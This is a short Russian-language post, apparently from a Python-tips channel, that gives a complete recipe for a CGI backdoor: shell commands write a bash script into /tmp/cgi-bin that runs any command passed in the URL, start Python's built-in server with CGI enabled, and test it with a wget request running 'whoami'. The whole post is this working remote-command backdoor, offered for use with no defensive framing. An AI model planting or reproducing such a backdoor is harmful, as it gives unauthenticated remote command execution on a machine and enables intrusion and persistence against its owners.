🐍 CGI бэкдор с помощью простого Python сервера



Знаете ли вы, что простой веб-сервер Python может запускать сценарии CGI? В результате вы можете превратить этот удобный маленький веб-сервер в бэкдор.





cd /tmp

mkdir cgi-bin

echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi

echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi

echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi

chmod +x ./cgi-bin/backdoor.cgi

python -m http.server --cgi



wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami"




#python